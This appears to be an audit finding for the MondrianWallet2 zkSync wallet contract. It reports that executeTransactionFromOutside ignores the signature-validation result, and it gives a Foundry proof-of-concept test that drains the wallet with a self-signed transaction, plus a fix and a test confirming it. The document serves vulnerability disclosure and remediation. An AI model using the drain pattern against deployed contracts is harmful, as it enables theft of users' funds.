Summary
The MondrianWallet2 contract allows execution of signed transactions. But the signature is not validated correctly which can allow a malicious user to drain all the funds of the protocol.
Vulnerability Details
The MondrianWallet2 contract does execute _validateTransactions function from the function executeTransactionFromOutside in Line 97 of MondrianWallet2.sol. But the result from this execution is not checked. If the signature of the transaction is wrong (different from the owner), the transaction will still be executed. This can be exploited by a malicious user to drain the protocol.
Impact
A malicious user can self sign a transaction and drain all of the funds of the protocol. The impact is verified with the following test.
Proof of Code
The impact is demonstrated with the following test. Which can be executed with: forge test --zksync --system-mode=true --mt "testUnauthorizedTransactionFixed".
function testUnauthorizedTransaction() public onlyZkSync {
MondrianWallet2 implementation = new MondrianWallet2();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
MondrianWallet2 mondrianWallet = MondrianWallet2(address(proxy));
mondrianWallet.initialize();
mondrianWallet.transferOwnership(
0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
);
vm.deal(address(mondrianWallet), 1e18);
(address user, uint256 key) = makeAddrAndKey("user");
uint256 value = 1e18;
bytes memory functionData = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
1e18
);
uint256 nonce = vm.getNonce(address(mondrianWallet));
bytes32[] memory factoryDeps = new bytes32[](0);
Transaction memory transaction = Transaction({
txType: 113,
from: uint256(uint160(mondrianWallet.owner())),
to: uint256(uint160(user)),
gasLimit: 0,
gasPerPubdataByteLimit: 16777216,
maxFeePerGas: 16777216,
maxPriorityFeePerGas: 16777216,
paymaster: 0,
nonce: nonce,
value: value,
reserved: [uint256(0), uint256(0), uint256(0), uint256(0)],
data: functionData,
signature: hex"",
factoryDeps: factoryDeps,
paymasterInput: hex"",
reservedDynamic: hex""
});
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, unsignedTransactionHash);
transaction.signature = abi.encodePacked(r, s, v);
vm.prank(user);
mondrianWallet.executeTransactionFromOutside(transaction);
assertEq(user.balance, 1e18);
assertEq(address(mondrianWallet).balance, 0);
}
The test confirms that there are no funds left in the protocol. All the funds are transferred to the user by using a transaction with wrong signature.
Tools Used
Manual Review
Recommendations
Add the following code which will cause the function executeTransactionFromOutside to revert when the transaction signature is not correct.
function executeTransactionFromOutside(
Transaction memory _transaction
) external payable {
- _validateTransaction(_transaction);
+ bytes4 magic = _validateTransaction(_transaction);
+ if (magic != ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+ revert MondrianWallet2__InvalidSignature();
+ }
_executeTransaction(_transaction);
}
After this code is added it can be confirmed that the function will revert with the following test. It can be executed with: forge test --zksync --system-mode=true --mt "testUnauthorizedTransactionFixed".
error MondrianWallet2__InvalidSignature();
function testUnauthorizedTransactionFixed() public onlyZkSync {
MondrianWallet2 implementation = new MondrianWallet2();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
MondrianWallet2 mondrianWallet = MondrianWallet2(address(proxy));
mondrianWallet.initialize();
mondrianWallet.transferOwnership(
0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
);
vm.deal(address(mondrianWallet), 1e18);
(address user, uint256 key) = makeAddrAndKey("user");
uint256 value = 1e18;
bytes memory functionData = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
1e18
);
uint256 nonce = vm.getNonce(address(mondrianWallet));
bytes32[] memory factoryDeps = new bytes32[](0);
Transaction memory transaction = Transaction({
txType: 113,
from: uint256(uint160(mondrianWallet.owner())),
to: uint256(uint160(user)),
gasLimit: 0,
gasPerPubdataByteLimit: 16777216,
maxFeePerGas: 16777216,
maxPriorityFeePerGas: 16777216,
paymaster: 0,
nonce: nonce,
value: value,
reserved: [uint256(0), uint256(0), uint256(0), uint256(0)],
data: functionData,
signature: hex"",
factoryDeps: factoryDeps,
paymasterInput: hex"",
reservedDynamic: hex""
});
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, unsignedTransactionHash);
transaction.signature = abi.encodePacked(r, s, v);
vm.expectRevert(
abi.encodeWithSelector(
MondrianWallet2__InvalidSignature.selector
)
);
vm.prank(user);
mondrianWallet.executeTransactionFromOutside(transaction);
assertEq(user.balance, 0);
assertEq(address(mondrianWallet).balance, 1e18);
}
